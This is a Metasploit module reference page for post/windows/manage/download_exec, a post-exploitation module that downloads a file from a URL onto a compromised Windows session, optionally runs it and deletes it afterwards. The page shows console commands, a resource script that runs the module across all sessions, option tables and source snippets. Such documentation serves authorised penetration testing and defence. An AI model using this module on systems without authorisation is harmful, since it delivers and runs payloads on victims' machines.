Windows Manage Download and/or Execute - Metasploit


This page contains detailed information about how to use the post/windows/manage/download_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Windows Manage Download and/or Execute
Module: post/windows/manage/download_exec
Source code: modules/post/windows/manage/download_exec.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module will download a file by importing urlmon via railgun. The user may also choose to execute the file with arguments via exec_string.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/manage/download_exec

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/manage/download_exec
msf post(download_exec) > show options
    ... show and set options ...
msf post(download_exec) > set SESSION session-id
msf post(download_exec) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/manage/download_exec")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

  • URL: Full URL of file to download

Go back to menu.

Msfconsole Usage


Here is how the windows/manage/download_exec post exploitation module looks in the msfconsole:

msf6 > use post/windows/manage/download_exec

msf6 post(windows/manage/download_exec) > show info

       Name: Windows Manage Download and/or Execute
     Module: post/windows/manage/download_exec
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  RageLtMan <rageltman@sempervictus>

Compatible session types:
  Meterpreter

Basic options:
  Name           Current Setting  Required  Description
  ----           ---------------  --------  -----------
  DOWNLOAD_PATH                   no        Full path for downloaded file
  EXECUTE        false            yes       Execute file after completion
  FILENAME                        no        Name for downloaded file
  OUTPUT         true             yes       Show execution output
  SESSION                         yes       The session to run this module on.
  URL                             yes       Full URL of file to download

Description:
  This module will download a file by importing urlmon via railgun. 
  The user may also choose to execute the file with arguments via 
  exec_string.

Module Options


This is a complete list of options available in the windows/manage/download_exec post exploitation module:

msf6 post(windows/manage/download_exec) > show options

Module options (post/windows/manage/download_exec):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   DOWNLOAD_PATH                   no        Full path for downloaded file
   EXECUTE        false            yes       Execute file after completion
   FILENAME                        no        Name for downloaded file
   OUTPUT         true             yes       Show execution output
   SESSION                         yes       The session to run this module on.
   URL                             yes       Full URL of file to download

Advanced Options


Here is a complete list of advanced options supported by the windows/manage/download_exec post exploitation module:

msf6 post(windows/manage/download_exec) > show advanced

Module advanced options (post/windows/manage/download_exec):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   DELETE        false            yes       Delete file after execution
   EXEC_STRING                    no        Execution parameters when run from download directory
   EXEC_TIMEOUT  60               yes       Execution timeout
   VERBOSE       false            no        Enable detailed status messages
   WORKSPACE                      no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the windows/manage/download_exec module can do:

msf6 post(windows/manage/download_exec) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the windows/manage/download_exec post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/manage/download_exec) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

File not found. The download probably failed


Here is a relevant code snippet related to the "File not found. The download probably failed" error message:

97:	    # check our results
98:	    begin
99:	      out = session.fs.file.stat(outpath)
100:	      print_status("#{out.stathash['st_size']} bytes downloaded to #{outpath} in #{(Time.now - strtime).to_i} seconds ")
101:	    rescue
102:	      print_error("File not found. The download probably failed")
103:	      return
104:	    end
105:	
106:	    # Execute file upon request
107:	    if exec

Unable to execute: <E.MESSAGE>


Here is a relevant code snippet related to the "Unable to execute: <E.MESSAGE>" error message:

110:	
111:	        print_status("Executing file: #{cmd}")
112:	        res = cmd_exec(cmd, nil, datastore['EXEC_TIMEOUT'])
113:	        print_good(res) if output and not res.empty?
114:	      rescue ::Exception => e
115:	        print_error("Unable to execute: #{e.message}")
116:	      end
117:	    end
118:	
119:	    # remove file if needed
120:	    if remove

Unable to remove file: <E.MESSAGE>


Here is a relevant code snippet related to the "Unable to remove file: <E.MESSAGE>" error message:

119:	    # remove file if needed
120:	    if remove
121:	      begin
122:	        print_status("Deleting #{outpath}")
123:	        session.fs.file.rm(outpath)
124:	      rescue ::Exception => e
125:	        print_error("Unable to remove file: #{e.message}")
126:	      end
127:	    end
128:	  end
129:	end

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • RageLtMan <rageltman[at]sempervictus>

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.